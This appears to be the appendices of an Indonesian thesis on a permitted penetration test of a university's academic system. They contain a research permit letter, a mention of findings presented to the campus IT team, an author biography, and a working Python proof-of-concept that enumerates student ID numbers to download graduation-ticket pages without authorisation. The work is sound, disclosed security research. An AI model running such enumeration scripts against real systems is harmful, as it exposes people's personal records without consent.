

APPENDICES

Appendix 1. Graduation Ticket Download Automation Script

```
1 import requests
2 import os
3 import time
4 # Inisialisasi Variabel
5 BASE_URL = "https://aka. ██████████.ac.id/public/wisuda/ticket-wisuda/"
6 OUTPUT_FOLDER = "hasil_poc_tiket"
7 NIM_START = ██████████
8 NIM_END = ██████████
9 # Membuat folder untuk menyimpan hasil jika belum ada.
10 print(f"Mempersiapkan folder penyimpanan di '{OUTPUT_FOLDER}'...")
11 if not os.path.exists(OUTPUT_FOLDER):
12     os.makedirs(OUTPUT_FOLDER)
13     print("Folder berhasil dibuat.")
14 else:
15     print("Folder sudah ada.")
16 print("-" * 40)
17 print(f"Memulai proses PoC untuk rentang NIM: {NIM_START} - {NIM_END}")
18 print("-" * 40)
19 # Melakukan iterasi untuk setiap NIM
20 for nim in range(NIM_START, NIM_END + 1):
21     # 3a. Membentuk URL target secara dinamis dengan menggabungkan BASE_URL dan NIM saat ini
22     target_url = f"{BASE_URL}{nim}"
23     try:
24         # 3b. Melakukan permintaan HTTP GET ke URL target
25         headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'}
26         response = requests.get(target_url, headers=headers, timeout=10, allow_redirects=False)
27         # 3c. Memeriksa status kode dari respon server
28         if response.status_code == 200:
29             print(f"✅ BERHASIL: Data ditemukan untuk NIM {nim}")
30             # 3d. Menyimpan konten (file HTML tiket) ke dalam folder hasil
31             file_path = os.path.join(OUTPUT_FOLDER, f"tiket-{nim}.html")
32             with open(file_path, 'wb') as f: # 'wb' berarti write binary, cocok untuk semua jenis konten
33                 f.write(response.content)
34             print(f"    -> File berhasil disimpan di: {file_path}")
35         elif response.status_code == 302:
36             print(f"❌ GAGAL: Data tidak ditemukan untuk NIM {nim} (404 Not Found)")
37         else:
38             # Status kode lain bisa mengindikasikan adanya error atau proteksi dari server.
39             print(f"📄 INFO: Respon tak terduga untuk NIM {nim} (Status Code: {response.status_code})")
40     except requests.exceptions.RequestException as e:
41         # Menangani jika terjadi error koneksi (misal: tidak ada internet)
42         print(f"🔴 ERROR: Terjadi masalah koneksi saat mengakses NIM {nim}. Pesan: {e}")
43     # Memberi jeda 1 detik antar permintaan untuk tidak membebani server
44     time.sleep(1)
45 print("-" * 40)
46 print("Proses PoC Selesai.")
47 print(f"Hasil (jika ada) tersimpan di folder '{OUTPUT_FOLDER}'.")
48 print("-" * 40)
```

Appendix 2. Presentation of Findings to the UPA TIK XYZ University Programmer Team



Appendix 3. Research Permit Letter

 KEMENTERIAN PENDIDIKAN TINGGI,
SAINS, DAN TEKNOLOGI
UNIVERSITAS PENDIDIKAN GANESHA
FAKULTAS TEKNIK DAN KEJURUAN
Jalan Udayana Nomor 11 Singaraja Bali
Laman: <http://id.uma.ac.id>

Nomor : 1296 /UN48.11 /KM/2025
Perihal : Surat Permohonan Pengambilan Data
Singaraja, 2 Juni 2025

Yth. Kepala [REDACTED]
di tempat

Dengan hormat, sehubungan dengan proses penyelesaian Tugas Akhir/Skripsi, maka melalui surat ini kami mohon Bapak/Ibu berkenan memberikan data yang terkait dengan data yang dibutuhkan. Adapun mahasiswa yang akan melakukan pengambilan data seperti tersebut di bawah ini:

Nama : I Komang Wahyu Ambara Putra
NIM : 2215101055
Program Studi : Ilmu Komputer
Jurusan : Teknik Informatika
Data yang dibutuhkan : Melakukan Penetrations pada SIAK Undiksha
Judul Skripsi : [REDACTED]

Demikian kami sampaikan, atas perhatian dan kerjasamanya, diucapkan terima kasih.


Bidang Akademik,
Made Winda Antara Kesiman
NIP. 198211112008121001

BIOGRAPHY



I Komang Wahyu Ambara Putra was born in Batur Tengah on September 27, 2004 to Mr. I Nyoman Arsil and Mrs. Desak Alit Malini. The author is Indonesian and Hindu. Currently, the author lives in Banjar Dinas Petung, Batur Tengah Village, Kintamani District, Bangli Regency, Bali Province. The author completed his elementary education at SD Negeri 2 Batur and graduated in 2016, then continued his education at SMP Negeri 1 Kintamani until he graduated in 2019. In 2022, the author completed his education at SMK Negeri Bali Mandara majoring in Computer and Network Engineering. The author is registered as a student in the Computer Science Undergraduate Study Program at Universitas Pendidikan Ganesha.

